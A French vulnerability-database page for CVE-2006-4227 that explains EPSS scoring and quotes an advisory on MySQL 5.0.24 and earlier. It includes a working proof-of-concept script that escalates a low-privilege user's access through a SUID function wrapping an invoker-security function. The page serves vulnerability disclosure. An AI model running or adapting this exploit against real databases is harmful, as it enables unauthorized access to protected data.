CVE-2006-4227 : Détail

Le modèle EPSS produit un score de probabilité compris entre 0 et 1 (0 et 100 %). Plus la note est élevée, plus la probabilité qu'une vulnérabilité soit exploitée est grande.

Le percentile est utilisé pour classer les CVE en fonction de leur score EPSS. Par exemple, une CVE dans le 95e percentile selon son score EPSS est plus susceptible d'être exploitée que 95 % des autres CVE. Ainsi, le percentile sert à comparer le score EPSS d'une CVE par rapport à d'autres CVE.

source: https://www.securityfocus.com/bid/19559/info MySQL is prone to these vulnerabilities: - A privilege-elevation vulnerability. A user with privileges to execute SUID routines may gain elevated privileges by executing certain commands and code with higher privileges. - A security-bypass vulnerability. A user can bypass restrictions and create new databases. MySQL 5.0.24 and prior versions are affected by these issues. --disable_warnings drop database if exists mysqltest1; drop database if exists mysqltest2; drop function if exists f_suid; --enable_warnings # Prepare playground create database mysqltest1; create database mysqltest2; create user malory@localhost; grant all privileges on mysqltest1.* to malory@localhost; # Create harmless (but SUID!) function create function f_suid(i int) returns int return 0; grant execute on function test.f_suid to malory@localhost; use mysqltest2; # Create table in which malory@localhost will be interested but to which # he won't have any access create table t1 (i int); connect (malcon, localhost, malory,,mysqltest1); # Correct malory@localhost don't have access to mysqltest2.t1 --error ER_TABLEACCESS_DENIED_ERROR select * from mysqltest2.t1; # Create function which will allow to exploit security hole delimiter |; create function f_evil () returns int sql security invoker begin set @a:= current_user(); set @b:= (select count(*) from mysqltest2.t1); return 0; end| delimiter ;| # Again correct --error ER_TABLEACCESS_DENIED_ERROR select f_evil(); select @a, @b; # Oops!!! it seems that f_evil() is executed in the context of # f_suid() definer, so malory@locahost gets all info that he wants select test.f_suid(f_evil()); select @a, @b; connection default; drop user malory@localhost; drop database mysqltest1; drop database mysqltest2;